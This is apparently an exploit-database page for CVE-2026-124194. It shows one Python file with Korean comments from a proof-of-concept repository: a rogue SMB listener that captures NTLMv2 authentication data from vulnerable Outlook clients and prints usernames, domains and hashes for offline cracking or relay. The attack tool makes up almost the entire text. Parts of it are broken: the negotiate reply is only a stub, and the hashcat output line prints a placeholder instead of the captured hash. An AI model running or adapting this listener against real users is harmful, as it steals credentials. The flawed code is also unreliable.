Exploit database

GH-101ffd35cd15d143ae61ac05592519ed

amesianx/cve-2026-124194-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-124194

3 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files7
amesianx/cve-2026-124194-pocRevision d3f0212623e1

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

collect_ntlm.py

Python · 3,024 bytes
#!/usr/bin/env python3
"""
NTLMv2 해시 수집 서버 PoC (개념 증명).

공격자 호스트에서 실행해 두면, 취약한 Outlook이 UNC 경로로
SMB 접속을 시도할 때 흘러나오는 NTLMv2 인증 챌린지를 캡처해
hashcat 형식으로 출력한다. 실제 크래킹은 수행하지 않는다.

사용: python3 collect_ntlm.py --port 445
"""

import argparse
import socket
import struct
import sys

# NTLMSSP 시그니처
NTLMSSP_SIG = b"NTLMSSP\x00"
# 메시지 타입
NTLMSSP_NEGOTIATE = 1
NTLMSSP_CHALLENGE = 2
NTLMSSP_AUTH = 3


def parse_ntlmssp(blob: bytes):
    """SMB 세션 setup 요청에서 NTLMSSP 메시지를 파싱해 타입과 계정정보를 돌려준다."""
    if len(blob) < 12 or blob[:8] != NTLMSSP_SIG:
        return None
    msg_type = struct.unpack("<I", blob[8:12])[0]
    if msg_type != NTLMSSP_AUTH:
        return msg_type, None

    # type3: lm, ntlm, domain, user, host 오프셋/길이
    lm_len, _, lm_off = struct.unpack("<HHI", blob[12:20])
    ntlm_len, _, ntlm_off = struct.unpack("<HHI", blob[20:28])
    dom_len, _, dom_off = struct.unpack("<HHI", blob[28:36])
    usr_len, _, usr_off = struct.unpack("<HHI", blob[36:44])
    hst_len, _, hst_off = struct.unpack("<HHI", blob[44:52])

    def grab(off, ln):
        return blob[off:off + ln].decode("utf-16le", errors="replace")

    return msg_type, {
        "user": grab(usr_off, usr_len),
        "domain": grab(dom_off, dom_len),
        "host": grab(hst_off, hst_len),
        "ntlmv2_hash": blob[ntlm_off:ntlm_off + ntlm_len].hex(),
    }


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--port", type=int, default=445)
    ap.add_argument("--bind", default="0.0.0.0")
    args = ap.parse_args()

    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    srv.bind((args.bind, args.port))
    srv.listen(5)
    print(f"[+] SMB 리스너 대기 중 :{args.port} — 취약 클라이언트 접속 대기")

    while True:
        conn, addr = srv.accept()
        print(f"[>] 연결 수신: {addr[0]}:{addr[1]}")
        try:
            conn.recv(4096)  # NetBIOS session request (무시)
            conn.sendall(b"\x00\x00\x00\x2f\xffSMBr\x00\x00\x00\x00")  # 최소 negotiate resp 개념 표기
            data = conn.recv(8192)
            result = parse_ntlmssp(data)
            if result and result[0] == NTLMSSP_AUTH and result[1]:
                info = result[1]
                print(f"[!] NTLMv2 해시 캡처!")
                print(f"    사용자 : {info['domain']}\\{info['user']} (호스트 {info['host']})")
                print(f"    hashcat 포맷용 (NTLMv2): NETNTLMv2::DOMAIN:{hash}:{hash}")
                print("[!] 해시는 오프라인 크래킹/릴레이에 쓰일 수 있다 — 패치/차단 검증용으로만.")
        except Exception as e:
            print(f"[-] 오류: {e}", file=sys.stderr)
        finally:
            conn.close()


if __name__ == "__main__":
    main()